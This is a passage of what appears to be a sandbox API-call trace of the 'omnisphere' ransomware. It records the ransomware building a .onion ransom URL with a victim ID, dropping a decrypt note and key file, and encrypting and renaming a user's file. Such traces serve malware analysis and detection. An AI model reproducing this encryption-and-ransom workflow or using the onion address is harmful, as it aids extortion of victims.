dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0118.742] GetProcessHeap () returned 0x1600000 [0118.742] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1693a58 [0118.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1693a58, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0118.742] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0118.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0118.742] GetProcessHeap () returned 0x1600000 [0118.742] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1686f48 [0118.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1686f48, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0118.742] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0118.742] GetProcessHeap () returned 0x1600000 [0118.742] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16a2810 [0118.742] PathCombineW (in: pszDest=0x16a2810, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0118.742] GetProcessHeap () returned 0x1600000 [0118.742] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16a73f8 [0118.743] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.743] WriteFile (in: hFile=0x28c, lpBuffer=0x16a73f8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16a73f8*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0118.743] CloseHandle (hObject=0x28c) returned 1 [0118.744] GetProcessHeap () returned 0x1600000 [0118.744] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16a3aa8 | out: hHeap=0x1600000) returned 1 [0118.744] GetProcessHeap () returned 0x1600000 [0118.744] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0118.744] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0118.744] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.744] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0118.744] CloseHandle (hObject=0x28c) returned 1 [0118.744] GetProcessHeap () returned 0x1600000 [0118.744] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0118.744] GetProcessHeap () returned 0x1600000 [0118.744] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x165e908 | out: hHeap=0x1600000) returned 1 [0118.744] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x214f10d8, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x214f10d8, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x214f10d8, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x277, dwReserved0=0x0, dwReserved1=0xd3, cFileName="0YKCZvD.lnk", cAlternateFileName="")) returned 1 [0118.744] GetProcessHeap () returned 0x1600000 [0118.744] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x98) returned 0x165e0e8 [0118.744] PathCombineW (in: pszDest=0x165e0e8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="0YKCZvD.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0YKCZvD.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0YKCZvD.lnk" [0118.744] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0118.745] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0YKCZvD.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\0ykczvd.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.745] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=631) returned 1 [0118.745] GetTickCount () returned 0x115dacc [0118.745] GetTickCount () returned 0x115dacc [0118.745] GetTickCount () returned 0x115dacc [0118.745] GetTickCount () returned 0x115dacc [0118.745] GetTickCount () returned 0x115dacc [0118.745] GetTickCount () returned 0x115dacc [0118.745] GetTickCount () returned 0x115dacc [0118.745] GetTickCount () returned 0x115dacc [0118.745] GetTickCount () returned 0x115dacc [0118.745] GetTickCount () returned 0x115dacc [0118.745] GetTickCount () returned 0x115dacc [0118.745] GetTickCount () returned 0x115dacc [0118.745] GetTickCount () returned 0x115dacc [0118.745] GetTickCount () returned 0x115dacc [0118.745] GetTickCount () returned 0x115dacc [0118.745] GetTickCount () returned 0x115dacc [0118.745] GetTickCount () returned 0x115dacc [0118.745] GetTickCount () returned 0x115dacc [0118.745] GetTickCount () returned 0x115dacc [0118.745] GetTickCount () returned 0x115dacc [0118.745] GetTickCount () returned 0x115dacc [0118.745] GetTickCount () returned 0x115dacc [0118.745] GetTickCount () returned 0x115dacc [0118.745] GetTickCount () returned 0x115dacc [0118.745] GetTickCount () returned 0x115dacc [0118.746] GetTickCount () returned 0x115dacc [0118.746] GetTickCount () returned 0x115dacc [0118.746] GetTickCount () returned 0x115dacc [0118.746] GetTickCount () returned 0x115dacc [0118.746] GetTickCount () returned 0x115dacc [0118.746] GetTickCount () returned 0x115dacc [0118.746] GetTickCount () returned 0x115dacc [0118.746] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668928) returned 1 [0118.746] CryptImportKey (in: hProv=0x1668928, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0118.746] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0118.747] CryptDestroyKey (hKey=0x1639b28) returned 1 [0118.747] CryptReleaseContext (hProv=0x1668928, dwFlags=0x0) returned 1 [0118.747] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x277, lpName=0x0) returned 0x288 [0118.747] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x277) returned 0x1480000 [0118.747] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668928) returned 1 [0118.747] CryptImportKey (in: hProv=0x1668928, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0118.747] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0118.747] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0118.748] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.748] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.748] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.748] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.748] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.748] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.748] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.748] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.748] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.748] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.748] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.748] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.748] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.748] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.748] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.748] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.748] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.748] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.748] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.748] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.748] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.748] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.748] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.748] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.749] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.749] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.749] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.749] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.749] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.749] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.749] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.749] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.749] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.749] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.749] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.749] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.749] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.749] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.749] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.749] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.749] CryptDestroyKey (hKey=0x1639b28) returned 1 [0118.749] CryptReleaseContext (hProv=0x1668928, dwFlags=0x0) returned 1 [0118.749] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x277, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0118.749] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0118.751] GetProcessHeap () returned 0x1600000 [0118.751] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2a8) returned 0x16a3aa8 [0118.751] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0YKCZvD.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\0ykczvd.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0YKCZvD.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\0ykczvd.lnk.omnisphere")) returned 1 [0118.752] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0YKCZvD.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0YKCZvD.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0YKCZvD.lnk.omnisphere.id" [0118.752] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0YKCZvD.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\0ykczvd.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0118.760] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0118.760] CloseHandle (hObject=0x3c0) returned 1 [0118.761] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0118.762] CloseHandle (hObject=0x288) returned 1 [0118.762] SetEndOfFile (hFile=0x28c) returned 1 [0118.762] FlushFileBuffers (hFile=0x28c) returned 1 [0118.766] CloseHandle (hObject=0x28c) returned 1 [0118.766] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0YKCZvD.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0118.766] GetProcessHeap () returned 0x1600000 [0118.766] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16abfd0 [0118.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0118.766] GetProcessHeap () returned 0x1600000 [0118.766] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1693aa8 [0118.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1693aa8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0118.766] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0118.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0118.767] GetProcessHeap () returned 0x1600000 [0118.767] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1687148 [0118.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1687148, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0118.767] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0118.767] GetProcessHeap () returned 0x1600000 [0118.767] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16a1788 [0118.767] PathCombineW (in: pszDest=0x16a1788, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0118.767] GetProcessHeap () returned 0x1600000 [0118.767] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16a8b18 [0118.767] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.767] WriteFile (in: hFile=0x28c, lpBuffer=0x16a8b18*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16a8b18*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0118.767] CloseHandle (hObject=0x28c) returned 1 [0118.768] GetProcessHeap () returned 0x1600000 [0118.768] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16abfd0 | out: hHeap=0x1600000) returned 1 [0118.768] GetProcessHeap () returned 0x1600000 [0118.768] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0118.768] PathCombineW (in: pszDest=0x162cec8, 